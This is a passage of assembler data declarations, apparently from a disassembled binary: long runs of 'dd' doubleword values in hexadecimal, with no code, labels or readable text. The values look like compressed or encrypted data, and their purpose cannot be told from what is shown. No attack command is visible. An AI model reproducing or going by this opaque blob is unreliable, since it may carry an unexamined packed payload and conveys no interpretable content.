1E2E1420h dd 1F03885Eh, 5D18B96Fh, 0C1857900h, 3D9FD3BEh, 58BA3F91h dd 8477B49Ch, 81904550h, 8846A2D4h, 8052BAD9h, 0F97E2806h dd 3E0A4E7Ch, 0C40482C4h, 2D873031h, 29E2CC23h, 0F08CDD33h dd 437D00E6h, 6B778CB1h, 70729313h, 0E704E49h, 91D83E6Eh dd 78A20904h, 0D67F0079h, 0C34C0A93h, 5C187528h, 0BCA9B913h dd 1A84CD00h, 41B96B9h, 34E97C5Eh, 3E44C2A3h, 9A8BAE20h dd 3C424874h, 4E23BA09h, 0B78080B7h, 0AC72CD85h, 4E1E00BFh dd 0D895AE59h, 0E8177BCCh, 200453E3h, 46000FD2h, 621CA287h dd 21E7D492h, 374C20D5h, 0C65D1F40h, 0F97EB588h, 0BC99E4A1h dd 9C972A08h, 5AC4AF50h, 0B0652440h, 309B22C8h, 0A8849A24h dd 0DFD2F585h, 7D452890h, 0AFAB16B6h, 1E3464DCh, 26875284h dd 20DF6824h, 20061353h, 5D80E5FDh, 0AB814854h, 0CEB873C1h dd 75114431h, 0EC8EF5A3h, 1628937Eh, 1E3CD43Fh, 9C034AB4h dd 0C4CCE8Ah, 57980DE0h, 8609E839h, 4A849F0h, 34906AC0h dd 35E32F0Ah, 4B02707h, 0E599804h, 9FC1518h, 20569BD6h dd 0F399D41Ch, 646F5269h, 2AEC891Eh, 0C5B37B24h, 4025E7D8h dd 779326E8h, 33135F6Ch, 9A00C914h, 90B755B6h, 0CC44E32Eh dd 508C04C4h, 0C7625BCh, 14070C29h, 3BFDC3B8h, 0CE88D100h dd 298062E1h, 1405762Eh, 0E839D973h, 0CD12AF80h, 0A600B4A2h dd 0D8352AFCh, 0C15F5A8Bh, 0B6C4A0C8h, 9D609909h, 6C368430h dd 0AAF27202h, 18318187h, 0F26A4310h, 5B838009h, 0D5318011h dd 4C0D20BAh, 0B080E896h, 12EAA63Ch, 12FDAA39h, 4C4F68CCh dd 0B4240245h, 0D8B0A336h, 5FA810CFh, 937804B7h, 24B2421Ah dd 3C469B08h, 36309420h, 53098903h, 0CF02027Ah, 2006BC9Eh dd 38C69893h, 408AB310h, 5B380780h, 0F0CF7CF4h, 18C66D3Eh dd 8C6A3092h, 0D8085CBCh, 0C472D68Dh, 54934066h, 1DD44ED8h dd 0B1C63E95h, 805E1850h, 130BCE21h, 0E45633h, 651FD58Dh dd 0BB84BDF1h, 0B0953D24h, 22D6E08h, 1C2AEC3Eh, 9F4EC4A0h dd 98ACA6F9h, 54D53E26h, 0CA28940h, 44A4AE76h, 8902B392h dd 5F02BCEBh, 994C430Dh, 8022349Bh, 5CD3506h, 62398061h dd 12CC4CD2h, 0C40F17EEh, 1CC384B8h, 1C6010A5h, 872740D7h dd 91D0CA35h, 31BB7404h, 37970D05h, 0C912D0F8h, 149B52B9h dd 53494828h, 0C1AA80F0h, 9CB9B872h, 0A27458C8h, 387EC132h dd 9A0C40F7h, 9B5680FCh, 397A20h, 0F0CD8165h, 2B78896h dd 0DE77CE05h, 90C12CD8h, 0C4243EC3h, 0F07F53F8h, 0AC3069A2h dd 7EF01CA9h, 1D936E8Bh, 8EBB84BAh, 24288C48h, 6ED02510h dd 7532AF0Fh, 70C53089h, 736069E4h, 11029B0Bh, 0D76FFC80h dd 3C546C8Dh, 9317B5C6h, 3B041366h, 8C7F90h, 0D4342AEBh dd 45E0685Bh, 4A86E713h, 0AC43842h, 0BED8022Ch, 8AC230C3h dd 0D0F1B859h, 5ED0C81Fh, 18955E09h, 90BC86D3h, 59245CB0h dd 0E8058453h, 0D33BD2F6h, 1804FF78h, 0D09A074Dh, 0A9764A0h dd 0FDF9E505h, 36DE09B4h, 0CEF868EEh, 4A2EECB0h, 0C6425010h dd 8265042Fh, 84506C34h, 47D4E25h, 908194A8h, 90027FBh dd 5702A4D5h, 5C3C9AC5h, 1BC5111h, 1AD92197h, 7E405EEFh dd 13110F42h, 92B44D22h, 60441804h, 720D3A00h, 2558BA20h dd 4FE00BC0h, 4C6C8314h, 0FE6038D1h, 0B3352B00h, 0C2384D81h dd 25DC083Eh, 4E880552h, 1038A454h, 3A1A5F86h, 3C40192Eh dd 39768803h, 84428327h, 349216F0h, 93C882CAh, 95D448EEh dd 0E00D48ECh, 4504484Ah, 0A209D347h, 5BE8886Ch, 59B3882Ch dd 322054A8h, 0EC9F0849h, 0D0021596h, 59441ABBh, 48991158h dd 4E97B94h, 1388D404h, 98CE6402h, 39ED88Eh, 99783E5Ch dd 0CCD289B8h, 81307C67h, 3694A2DBh, 2AB0210Bh, 8792D023h dd 406B172h, 0DC651CD7h, 0EAB37328h, 94374C12h, 9E631010h dd 0FF062710h, 187238C9h, 0B2D2B81Ah, 821C4191h, 7002BC66h dd 7187A8F2h, 41101431h, 9B07F268h, 808F232Ch, 54A16A54h dd 1EA786F0h, 44997658h, 82F9CC0Dh, 2068C92Ch, 4D0801C7h dd 160C293h, 0DF02B875h, 0B5A08933h, 93D84331h, 6D305021h dd 3C0A85Fh, 0F676008Eh, 2958F0EBh, 930125F1h, 17E14DD6h dd 65EC9062h, 0D0CE0995h dd 1C02B377h, 3E004102h, 0A01716CCh, 2D83D6D8h, 8A25E96h dd 0C40F19Ch, 0EC27B55Ch, 2820A718h, 0AD57AB41h, 0E0415AD9h dd 7E0007D0h, 4E1EE3DFh, 42CF68Bh, 0BBD68F81h, 108938B6h dd 302039FEh, 46441FCEh, 51DEA201h, 5F15BEDAh, 3C40E5F1h dd 5C0A9370h, 0DA848860h, 2AC01819h, 62FD8142h, 0AEED00A0h dd 4E3C7EA3h, 58963293h, 0E8827420h, 94CB16B7h, 6573CB1h dd 83E20B8h, 0FF5E1C96h, 0F713EA18h, 6806FA82h, 50087FECh dd 0D64DC810h, 0BDC6F59h, 80F1CB3Ah, 0B8967CAAh, 264730EAh dd 5848AAC1h, 0CBDA9883h, 49309919h, 984ECC85h, 0C10BA5E8h dd 6591B86Dh, 9D6F8020h, 0B39AFAC1h, 3EFC721Dh, 0BA896887h dd 6B3BD87h, 29C08FCFh, 0C6B6977h, 2DA7DA60h, 14905D78h dd 9849B044h, 404E2E68h, 2C983D2Ch, 0B37A3AF7h, 23F42759h dd 0D85B0169h, 186AD68Ch, 53928863h, 0A4F2D803h, 0D0B07B4Ah dd 0AD2EBE4Eh, 601764B0h, 1639D5Eh, 144020C8h, 791162C5h dd 0FAF8E87Ch, 311601B6h, 0D5272B66h, 8A9060E1h, 0A3884A8h dd 0A6466725h, 801941B8h, 801637E0h, 406954Eh, 7ECAFDE8h dd 58183021h, 0AB768369h, 577873Dh, 92EF3F1Fh, 0D7CD5C20h dd 547490C4h, 12278C5Dh, 225F88AAh, 0E7222B74h, 1604C821h dd 0EB7B3Eh, 0F44F3BD1h, 0F11F27BAh, 62186518h, 6DDF79h dd 0E17A360h, 3F21EAF7h, 2A87C400h, 5E1ECF9Dh, 5C15260Fh dd 22640864h, 3F39D420h, 4D2B12B7h, 0E9C1D437h, 1820892Eh dd 27FF1C8Ah, 0CC075535h, 248E0207h, 69AC00EDh, 9E1F4A46h dd 4FA026BCh, 0E7000A7h, 0EA307510h, 9C49BF28h, 21825F4Bh dd 10A058F0h, 2754E693h, 915C1765h, 36B2804Ch, 7F0E8A84h dd 23E0038Eh, 4ECFCE5Eh, 363941A9h, 0BC492450h, 8418BAC2h dd 75282FCh, 6133E5B8h, 520583DBh, 0B4D2FD90h, 0EA8E2117h dd 0A1A82900h, 0F150ABh, 0CED9B5C8h, 87EDC04Ch, 8E675100h dd 0BA655DACh, 58F759DAh, 61221457h, 0E407DCFAh, 8FCC6F0Fh dd 0B2A3EB00h, 39F80140h, 4B8B1BE3h, 617C6190h, 0D488424h dd 0FCC3FAD4h, 96A1386Ch, 0EF54E901h, 7502B560h, 0C0B45B1Ch dd 42F9DDA5h, 0A014057Eh, 0C821EEBCh, 0E18BFC94h, 18757AECh dd 442E1C30h, 2448BA40h, 421A1198h, 864FD210h, 7FC82F0Dh dd 0D9049930h, 0B5181Bh, 0A8457055h, 0E49F3DC5h, 18589658h dd 33291036h, 9C30066h, 0A8AA994h, 6F002462h, 7303F570h dd 1E977FE3h, 0CE5FAE8Fh, 9A290DB4h, 7C9968E9h, 8C46B8E4h dd 0A878243Eh, 0AE208CE5h, 0BD5C011Fh, 0BE0AAFE7h, 88EC6C13h dd 207CA86Ah, 87FA483Eh, 857CE092h, 0A8E68B2Ah, 53186E18h dd 2195031h, 81CD23AAh, 246234D2h, 11F3C0D2h, 99BA42FDh dd 0ED82E000h, 0EEABD9FAh, 3DE3F801h, 9E7C9FA5h, 714AF5E0h dd 0B7EC0998h, 24492B01h, 0C441A9B6h, 981843D1h, 8080174Ch dd 0EDE3BB62h, 1EE70234h, 0FD8E2B8Bh, 0EC7824E4h, 85130501h dd 0CA7F783Eh, 2F958088h, 0B70EA0A8h, 136E0A65h, 0F1D11804h dd 66F80812h, 89D858C0h, 225246D6h, 508F0068h, 0A58ADD8h dd 0B012C0B8h, 0F400322Dh, 3673F6E8h, 0D78B698h, 3CEAA227h dd 0E6632254h, 0BC80C87Dh, 1A895C86h, 97CD3BA9h, 0E5178B05h dd 0A048B0EBh, 108A048Ch, 628B9E59h, 8257202Dh, 943AD110h dd 68B8B2DBh, 87AD2034h, 6C62A4CAh, 22D93E90h, 0C505F4Dh dd 1FE7E509h, 0F0D84CD1h, 0B0848A3Fh, 0F2746086h, 918723ACh dd 45001211h, 50E3F26Ch, 822FB416h, 0E8808A29h, 0BA043C11h dd 132AB0Ah, 6F30AA89h, 22659852h, 6AC29BD6h, 432ABC52h dd 87429CF2h, 24B07A00h, 0D77F2B7Bh, 3C54EA79h, 0E303F3FCh dd 0FF4846CAh, 0B75CC0FAh, 41992D7Bh, 8071A0B2h, 9A184679h dd 0CCF4BB01h, 8A6BC1Eh, 927C4C29h, 5E28B6B8h, 0A9022C46h dd 0B8E95636h, 5FAFFC0h, 5DF39804h, 0E4F5A40Dh, 54DBE2F8h dd 0A0D59C3Ah, 822033A4h, 6354E882h, 4007C222h, 402ACECCh dd 2E187228h, 0E738A07Fh, 0D8055120h, 54920030h, 20CCB43Ch dd 4C00A7CAh, 0D08770D1h, 925B96BBh, 64A30A0Ch, 7820684Eh dd 958CA4B9h, 6A919C97h, 0E8E6B680h, 27070D8Ch, 3BFB3AE2h dd 67C8D251h, 9017E097h, 6102E6FCh, 0E03F1C00h, 75C95AE7h dd 1795EE65h, 0D3AF24ECh, 0F6D3076Ch, 0A0579F88h, 0E800EF4Ch dd 47E38C69h, 0AD31F0DEh, 450B3C49h, 2E84BBCEh, 0B2A18068h dd 6BB3245Fh, 2C9739F3h, 30876491h, 0B055F022h, 2012C036h dd 0A004B55Eh, 0A0124116h, 244F39B4h, 0A437821h, 0B3CE315h dd 0E621C2D0h, 2E7DE408h, 2F3C657Eh, 892B0836h, 3172CEDh dd 0B1846808h, 1508E579h, 13523804h, 20321D23h, 50E9410Bh dd 9F43548h, 92EC0431h, 8F9D0BF3h, 0E85E0BA8h, 99F0E90h dd 0DABBD6FBh, 0D8C468D0h, 0C8BC2EBEh, 3A8C69ECh, 6A805587h dd 0F66F99F7h, 2327454Fh, 7EFC8414h, 2BB894BCh, 76E01C8Ch dd 1AF647D0h, 0D162543Eh, 8526E684h, 0A9219A29h, 6364C300h dd 1B3138Bh, 0AD4CB74Bh, 30F7AB84h, 0BA01E0C4h, 9AC5AC68h dd 48686E5Ch, 2DF430D6h, 8E005234h, 8E1BCB2h, 1CFB398h dd 73A00F7Ch, 30AB4977h, 0A154D24Ch, 0DE067ECCh, 89E74254h dd 3AFC3091h, 5DBD1559h, 0BC001FF0h, 7BD8526Eh, 5BB49E35h dd 0A72C0B0Ah, 82221494h, 0BA740F3Dh, 0F24BE2h, 0B7077F20h dd 8207656Dh, 0AFE80C90h, 2C09B2BEh, 68C48FDh, 19091AD1h dd 54C0D17Ch, 0B0B44422h, 0D052FD96h, 61C818CBh, 27505EC6h dd 64A45966h, 0F9935F30h, 894F0808h, 583AEC02h, 2E4EE0C1h dd 6C00CC34h, 5FDC1E7h, 5184B432h, 0BB701063h, 0C43F5DBAh dd 25DC310h, 82BEB5EEh, 0A368C342h, 0C2213050h, 0C6D895D9h dd 94934898h, 619978h, 0A112F42Bh, 0A4B05ABDh, 34AA8708h dd 23B03058h, 8980422Bh, 44E89938h, 0DBA0066h, 9736E9B6h dd 0BCAC022h, 929BDA00h, 0C06248D8h, 56A9030Bh, 2C412C14h dd 8111200Fh, 0EE7B83D5h, 8CCE9053h, 71E1346Bh, 0F2C4E280h dd 7CE301Bh, 0B861B901h, 95966383h, 4EE4B460h, 0B334004Ah dd 0B6A2FE7Fh, 60546624h, 4948D3Bh, 5072705Bh, 0AF3048F2h dd 173C7AC3h, 155CC5E0h, 517788DCh, 41E2E4BCh, 0C7221A7h dd 9330CE16h, 1FCA664h, 0B424BED2h, 93A459A6h, 3614927Ch dd 0B4732520h, 5987394h, 0AD2466FBh, 0CE30C057h, 0C61A5CD5h dd 4010039Ah, 0B933F294h, 0E0421A40h, 28F210C3h, 2C9C945Ah dd 38488440h, 0BAD202B0h, 0CE32F5A6h, 0D85AC86Ch, 0D73EE431h dd 0D274202Ah, 99805438h, 2809784Eh, 9F086B84h, 0C6BFB817h dd 9C7AA80Fh, 205A35A9h, 0E973C209h, 0CCCA8225h, 16F4F0DAh dd 0A61668ACh, 9752E024h, 23FF254Ch, 65442C67h, 6C5C8160h dd 0CDA1EA05h, 0B0092EF0h, 4544C297h, 1F3A9194h, 0C293BD0Dh dd 2323C4D2h, 80CFBC54h, 0F36A67C9h, 0D4AB7000h, 37294428h dd 13B8A40Ch, 0D276B8AAh, 552198E8h, 2C307F6Fh, 13DCB6BAh dd 813C9B65h, 0F6F1CD1h, 5E5EBCD8h, 26084415h, 0E5140243h dd 119C28B4h, 0D8578065h, 8C4AD688h, 78E6244h, 0A2D0D84Fh dd 0C3FAE264h, 9472F4C2h, 89AE2B0Fh, 0CCC0D6B2h, 4FAB02BAh dd 9AF00037h, 20835CEFh, 18C0909Dh, 116B60E7h, 8716E623h dd 51C19A71h, 0CAFD37B9h, 56180841h, 2CE68980h, 0EAD7C8FCh dd 0CC908E75h, 48205245h, 380D509Ah, 8C18A3Bh, 989189Fh dd 839E5810h, 5680C465h dd 48A21081h, 0D587246Ch, 288A085Ch, 0A00EB701h, 32E6ABCh dd 24E7ADECh, 18753900h, 59914E81h, 0DD140003h, 66EBF9A6h dd 8917522Bh, 98C250CAh, 89ACFB90h, 0D46749D1h, 0F0601AC4h dd 0DB7BEC33h, 0F66EC300h, 0F4CF5E93h, 787C0208h, 76EF043Eh dd 0E0CD50E1h, 8326DAB0h, 6B8154D9h, 398FEA58h, 5957D842h dd 0ED3030C0h, 0AF81DCFAh, 9D3FC610h, 6CA2890Ch, 242ED066h dd 83686503h, 7228C9FFh, 5DE31911h, 16E26C42h, 21C5230h dd 64B4D7A7h, 0B864FFA0h, 0CC3E6F4Ah, 84A06123h, 3F803A0Bh dd 0B830850Ch, 20B358C5h, 0EF3068A2h, 452A02BAh, 0F2B1DB4Fh dd 7B5EE040h, 5F4C0FF6h, 0D90212E4h, 9234C010h, 68235C2Eh dd 837E820Eh, 0C09466DDh, 2FE2382Bh, 20A435F3h, 18A08886h dd 3ED58309h, 7FF890D2h, 286CEC06h, 45D81AB0h, 0A8984469h dd 0ECD8418h, 0D810E749h, 8F00B963h, 31098479h, 627B8D5Ah dd 4E6C70CEh, 0B428F480h, 3A52D8BDh, 0B5322D0h, 412E8376h dd 0F8236813h, 0D85D016Bh, 7C7AD68Eh, 5594B020h, 4873E0D8h dd 27C04CD5h, 0D1E5AE68h, 0E16C2100h, 0A2D63398h, 0BDB3092Fh dd 0C0D9E603h, 0E408BC24h, 5099007Dh, 7570A227h, 64D11C9h dd 4F98FE2Ch, 846C90FCh, 653F12BCh, 97712486h, 8F0C832Fh dd 0D9925B5h, 12E42C65h, 6C636662h, 4C2778D7h, 0C0D213FCh dd 2D3CA65Dh, 3638C123h, 85CC48h, 0AC92F928h, 0B3945B1Fh dd 43F84A26h, 76024A26h, 74809AFDh, 0D895050Ch, 9EF4C2FCh dd 4F10105Ch, 4C50BF10h, 0A8393844h, 960F848Ah, 9C44CA09h dd 58E7CE0Fh, 80338C20h, 0A44AAA87h, 50E24813h, 3F710107h dd 172AD0D2h, 8D1DB805h, 0CF490ABCh, 0A240C065h, 0BAB8A8A8h dd 868C20Dh, 7C5E0CE1h, 0F2D6477Ch, 19717D6h, 585B8C0Ah dd 18083112h, 8C970B6Bh, 2634580Ah, 0B0C513C6h, 5D272284h dd 102CC489h, 930426E4h, 0C0A34008h, 9E5C108Dh, 0B04838F7h dd 1710855Ah, 439FC87h, 0E4302EE0h, 0FF22069Ch, 0C4A4A527h dd 84546362h, 7E800CC0h, 4ADE25BBh, 0E091B064h, 980D8905h dd 2580B0C8h, 42FE8Bh, 9988B453h, 0D88F8386h, 28FE8283h dd 4F91113Ch, 686B8C87h, 4EE7BD94h, 8EA4C418h, 0CF67C804h dd 3AC1A1E0h, 1013DD60h, 3467B624h, 671E5B54h, 34FC8C20h dd 0FA3D464Ch, 0C2ED0664h, 44986A48h, 8CB69DE7h, 0E65E25DCh dd 8DD2C448h, 58825900h, 99DFFA53h, 75F725B5h, 0C860A441h dd 0B34B4C88h, 0BC240C45h, 87ECCC55h, 61C7B910h, 840500E9h dd 4AB5FB4h, 5EA8EAB1h, 8EB8C29Ah, 0EC4CF06Ah, 5F1C849Dh dd 6922E410h, 804CE65Ch, 8D3D7D58h, 64740F62h, 0E820A8C4h dd 0D9BAD4D7h, 4B28708h, 148E0272h, 7136683h, 0A955D341h dd 28841968h, 642513CDh, 4E8B0445h, 49B298F3h, 0D5CB30h dd 92D953Dh, 789A8BF4h, 32E84361h, 8343BDAh, 9C751EB7h dd 5A65C261h, 205683E2h, 0BA166801h, 29839B0Ah, 78D0D289h dd 8B74D04Dh, 645AE7h, 0FCE86766h, 70238996h, 2AA8710Fh dd 562EC774h, 423C5252h, 5AB88939h, 0BBD60A8Ch, 268C47C6h dd 0B55CC1E4h, 3BE430E4h, 47F1640h, 6A0A1FDCh, 454B258h dd 4422BBD8h, 4B22A48Fh, 0CE49D4B0h, 83D6819Ch, 6C242F56h dd 46BA8840h, 7F94E8C4h, 7E0528B7h, 819DE8FFh, 9409634h dd 18A2C466h, 3C89230h, 0EA72737Ch, 0BB99B877h, 0DCF0AE1Eh dd 4B1AC468h, 97E0E619h, 0F8006837h, 0EB47A57Ah, 0CE7501D6h dd 934C33DFh, 46A42470h, 40DEBC2Dh, 298BD6E0h, 49D05736h dd 1E0364F9h, 0EDB6E813h, 60B5EC12h, 190DE000h, 0C8F5486Ch dd 250A52Ch, 6E6FD520h, 24742042h, 6D607F64h, 8721A5F2h dd 653EC059h, 22E8A6F2h, 240CA494h, 0E79EC0E1h, 0C40DA8BAh dd 20C007A2h, 4A40AAA0h, 9A6E3CCFh, 0AB18367Ch, 4620E0C1h dd 0E4A2083Bh, 0E627F4B6h, 347F5834h, 8C2ABCh, 0FFEECCE2h dd 4C6A0490h, 0A0B5CE7Dh, 7A3C4580h, 94F40070h, 0DC2EA3B2h dd 0C0827E8Eh, 0B55664ACh, 6053583Ah, 2D1670h, 30AC8338h dd 7EF55FD9h, 42CFA38h, 3722A062h, 45B48C8h, 0BD57E2A2h dd 4B7C81C7h, 20E061B8h, 6E40E864h, 0B05A4D17h, 0F9070E00h dd 4CC294C4h, 8E695204h, 0C8C9A2Ch, 6E541D89h, 176F9790h dd 407C2058h, 0C2F8A592h, 0C9BD5B02h, 7A097C79h, 27EF20C8h dd 0EC34CC90h, 90827869h, 4558E1CFh, 26F8E47Ch, 2F26E48Fh dd 0AE93D606h, 242C204Dh, 0CE40A0B5h, 310F48E5h, 0D7C02EB8h dd 0AC6F2AF5h, 0CBF2AC00h, 96BC9E29h, 0DE301F41h, 0AECC2D16h dd 8BA0C460h, 538CB217h, 8750B443h, 4E90A018h, 9D72309Eh dd 134B7C20h, 68A0286h, 0BE0DE16Dh, 230FDC51h, 0A289C1EEh dd 88325E74h, 9DC3A6Ah, 588265F7h, 68032BDFh, 5FE2C175h dd 10E8243Ah, 0D506E044h, 50DDE065h, 0A163E425h, 0FACC0D14h dd 32BC9F00h, 0B56C079Dh, 0BD005889h, 1391F897h, 9E6F2380h dd 21554EECh, 0C490D78Ch, 10C9033Ah, 803005ACh, 2F5A98BCh dd 4B2374h, 9CF2F382h, 6E16D9D5h, 34096DEEh, 548489D0h dd 8BD88218h, 0A064382Ah, 68C8015Bh, 195A617Eh, 0BD1BD6C5h dd 0DE830B30h, 0AAF8C949h, 934908D3h, 0A0044C3Eh, 9CCE656Fh dd 6C01788h, 0F31174h, 0F70E601Ah, 421FA3D2h, 84205891h dd 0C8FC950Bh, 44A81658h, 0DA2ABA76h, 3B2DF443h, 0B23821A1h dd 7C24FF02h, 0AE270FD7h, 6BA93288h, 4AF1FC79h, 2400FF18h dd 0A306EA90h, 77A0721Eh, 8C3254ECh, 0C75230F6h, 72D03E31h dd 0A491165Ah, 290954B0h, 0A42F5BC8h, 0B9001223h, 0D230E5FDh dd 7022F32Bh, 596BBD05h, 0BF448015h, 0B313E0F2h, 7810E689h dd 8C19E8D0h, 12476E03h, 0D2C2C7E3h, 8A14403Ch, 2043823Fh dd 0DF136039h, 0DB115C3Bh, 42DBF83Ah, 0CC04E43Ah, 0A819073Ah dd 0E68092DFh, 0AF48F4h, 9868BA5h, 14F6D08Ah, 7AD23F15h dd 0DCF30F80h, 0F921EBB4h, 74B7AFACh, 19360B3Dh, 40FC4F16h dd 7548C41h, 72F80A30h, 0D79B0D0Eh, 0C9280EC9h, 381167ACh dd 867C024Ch, 12928E7h, 693678A9h, 0FC44DCDFh, 8800AB64h dd 9694E5C7h, 24EE997h, 310D8127h, 8856835Ch, 52C49F85h dd 48368CB0h, 34CE6806h, 0C0180C90h, 974AF0F0h, 8CB57489h dd 2AF2C73Dh, 0C897A717h, 63806791h, 87954BADh, 13F6B13Ah dd 64E6221Ch, 49CEB1E7h, 32A70B5h, 330A6201h, 0BED89AC7h dd 21C4822Eh, 54483602h, 114F0054h, 6683DA89h, 4632B01h dd 1E82BC16h, 5E2DFC79h, 0C49E4CC0h, 4120AA31h, 5863157Ch dd 0E8331AE2h, 0FC471ECh, 90EBE95Ch, 0ECA30DE5h, 0C7248050h dd 13B27EB1h, 0B064CA55h, 47418818h, 0EDF4207Eh, 3698E4B1h dd 0C8EA0D00h, 90AA3455h, 9966761Fh, 184BD1C0h, 35630077h dd 8CE2259Fh, 0B8328BD5h, 58457AD2h, 0A4185854h, 0D498818Ch dd 7F107761h, 9849B34Ch, 8CCDEDEh, 9805306Ah, 2C815527h dd 95014E97h, 0A355C6D9h, 4B319A9Ch, 54D08C19h, 5817D04h dd 6878B1A6h, 4D971913h, 62B704C1h, 4CE181ADh, 2AC46109h dd 497A09Ch, 1B2DAAE8h, 7416AB4Dh, 0A8D26CF2h, 0DBEE1F6Ch dd 24A02E13h, 7666059Ch, 81C47C55h, 3F0516F4h, 90A9E852h dd 9BDB3861h, 688850CDh, 54607599h, 8ABED318h, 248A42Fh dd 62E59756h, 7B0B0A9Ch, 702265B4h, 0F1976168h, 0AFB9E517h dd 0A0C5D4A6h, 0DA8820CCh, 824C1959h, 54D62AF0h, 1C804D58h dd 0FCAAEABAh, 0E818C525h dd 4A90F6C0h, 9FF4D00Ah, 0BFFF06CCh, 27833B60h, 7E7C9934h dd 14E0D2D2h, 34D19BD8h, 4BE7CAC2h, 0D369B072h, 60247671h dd 0C95B574h, 30DFD537h, 97504409h, 0D0FE6C62h, 42176842h dd 0CC805508h, 0A419C144h, 0B2897F0Dh, 0C1A369EBh, 8C9F1450h dd 56A0C9h, 0D96B690h, 18A84CCEh, 0A9DA380Ch, 926451D0h dd 85A0D018h, 26008EE4h, 0E9B7C4C2h, 0FE5FB61h, 8B900CB8h dd 0AC02B569h, 6C835820h, 600F45F8h, 0A4EE2450h, 5109655Dh dd 0C1A8E830h, 0A9B87011h, 9EAC4588h, 0D84BC100h, 62970D9Eh dd 0D53E1937h, 30AC68F6h, 334C9407h, 3E48188Bh, 87B1800Ch dd 0DE843A58h, 3404CCD6h, 0E8541DE2h, 0AC218234h, 8C46BC44h dd 92D4EA0Ch, 408A58FDh, 8984E15h, 0BA295661h, 8075FB0Ah dd 428CCF0h, 31EABBCEh, 0D23E0363h, 64C1010Fh, 0E74351CFh dd 6B582461h, 51EB000h, 5D96E1C6h, 0B40A0048h, 0D62E889h dd 3E0255FAh, 9320058Ch, 266872DCh, 984C97FEh, 241449A4h dd 92E7CE01h, 4A13DA58h, 10819080h, 34825D2Fh, 0B52339C2h dd 0ADFCA257h, 0C098520Dh, 665F45C8h, 734D0A3Ah, 985D3E64h dd 47214E1Ch, 319E65E7h, 0E8E9FCh, 8D418619h, 2F87AD4Ch dd 0BC0028AAh, 6F5F1EBAh, 21E830E9h, 0A2CEF619h, 80BAFDC1h dd 0E7968108h, 0BE803380h, 0D3A9BAD8h, 0A9B01830h, 961D5B4Dh dd 2B9E6A1Ch, 0CD81D8C6h, 38A14C89h, 32D61964h, 0C1A08471h dd 0F86420AFh, 220024D8h, 0C63C1E8Ch, 0C0063533h, 8DA42991h dd 8B001160h, 765E7DD5h, 0B9E7A68Eh, 0AF803D84h, 0C5B4A799h dd 0F301E092h, 0E3B9798Dh, 0E1E1C09Bh, 40108C20h, 9A162746h dd 3C4B526Ch, 0FA07A36h, 0BE4ABCDh, 774FC1E0h, 2E287930h dd 38C47483h, 93026D80h, 0C02B23D6h, 80024238h, 19C70806h dd 0A37019B6h, 931A46h, 0EA22F5CEh, 0B59AD2B2h, 0CB3E0700h dd 0FF7F4D63h, 32AD0117h, 0F9CF1C15h, 54EA207Dh, 40C18A5Fh dd 781841BAh, 4C52BE28h, 33D98112h, 68C8808Bh, 49777AC0h dd 0B9D70076h, 2AAF57C3h, 0BB251129h, 188370Dh, 33905F49h dd 0F3BD823h, 0E49C2C7Eh, 51B4E142h, 28AF040h, 602A2184h dd 0EBD3110h, 0A4D21120h, 82BB5081h, 0B07B0030h, 0AA7D021Ch dd 34ABDABAh, 188914D6h, 105CC295h, 142C7EB4h, 0C87D604Eh dd 59FC0490h, 63B0A700h, 6DB6A385h, 964F0083h, 0BF9E7B6Ch dd 0CA0766Bh, 6A009D2Fh, 63C0907Ah, 80B04F41h, 613CAEA3h dd 66C10F89h, 8FC08F7Ah, 5FC4817Bh, 62DD9487h, 1DB2A5F0h dd 9F846Ah, 0C44F8870h, 970C8967h, 287D726Dh, 9B841E64h dd 988C40B9h, 923565BBh, 0A240BC60h, 691E7Bh, 806CAE97h dd 8A6DC64Fh, 0B575D07h, 1E733C1Fh, 406E535h, 3E806E75h dd 720071C0h, 5A6150A1h, 84311E90h, 0C098799Dh, 62713EE3h dd 4C18A637h, 0A85485E1h, 7E1F6A08h, 7602AF9Fh, 8D27B1A1h dd 88808038h, 71BF946Bh, 0BB409E7Eh, 236D036Ch, 415A3988h dd 69B0E80Eh, 5238B85Eh, 6272324Fh, 0A0809040h, 6A4DB892h dd 3B6D8300h, 8B15435h, 0BF7F3C22h, 9BB378B8h, 3AA18AE1h dd 65788293h, 8E61BCA1h, 203CB5A1h, 8D430179h, 6347C198h dd 92000A4Fh, 9CA37E76h, 1CF96953h, 679D3983h, 10BF9FCh dd 430AB215h, 443F4238h, 0FF7AA8h, 0D3B183DAh, 34AEB562h dd 0AB44B984h, 0C0AAE828h, 0C69A8B19h, 0A2B5147Fh, 2961B690h dd 48B2BC5Eh, 0E5141018h, 0A8A2E924h, 44A69389h, 30E42C88h dd 589D1900h, 0EC6209D4h, 16416065h, 9A900250h, 0C02544B9h dd 5A95D8CCh, 0FE78C847h, 407C2CA2h, 0F1A860B0h, 0A0289613h dd 0C514257Ch, 0AC943071h, 0B7586468h, 3690B924h, 0BCD1B8A1h dd 0F1CB08E4h, 0C0848F45h, 87CA9438h, 0D8AC7E11h, 0B2463F87h dd 0BE421CFAh, 1A0C61A4h, 0A036012Fh, 0E420F835h, 5C7E449Ch dd 80AA822Eh, 0C4C81B4Bh, 0E2444008h, 7F5C42BAh, 0C4D427D7h dd 0B68C425h, 357293DAh, 0C7816441h, 106F2800h, 0E2B850D2h dd 443FFF6Bh, 326D9C14h, 0CC9F216Ah, 0BC438BAh, 0C161C1D0h dd 0AFDE9A60h, 24EAEAACh, 1E4B7A0h, 0F2B49E15h, 9B2D7A98h dd 9898C182h, 0A89A1ECh, 0AFD2B818h, 0B228BCB0h, 910EA40h dd 0D632A056h, 32C5041Bh, 0D8117144h, 0B4DC2815h, 68A6FC94h dd 85608208h, 0C866D13Eh, 0E86ACAD0h, 0AB1B0441h, 0D8182191h dd 0E0C8B390h, 0D032A364h, 99111C2Ah, 48302089h, 11417338h dd 98D0306Fh, 683271F3h, 30BB4055h, 0C4972456h, 0EA9CA3BCh dd 251D0F16h, 890B5846h, 35661AD6h, 20E7059Ch, 3A0B931h dd 173922A9h, 0AA21034Eh, 8397027Fh, 0F90E017h, 34180404h dd 19AE70A0h, 4837D75Fh, 75AC530Bh, 43062820h, 984EF244h dd 185FAD50h, 214618D8h, 0B425B3D9h, 19105065h, 18EE4E15h dd 0A0D13B37h, 41892EE6h, 48E8F595h, 0B861B388h, 36B52439h dd 1E5D5180h, 0D66F3EEDh, 0AE8FE400h, 0D99565C1h, 323902C6h dd 0B324BE57h, 519DAC90h, 2431D022h, 4080D2BAh, 28392D84h dd 2560D490h, 0A58B14E0h, 1C34E856h, 59FEC171h, 0D080184Ch dd 37483972h, 0F322204h, 4A4E3E65h, 81A62D80h, 0E0B84BD5h 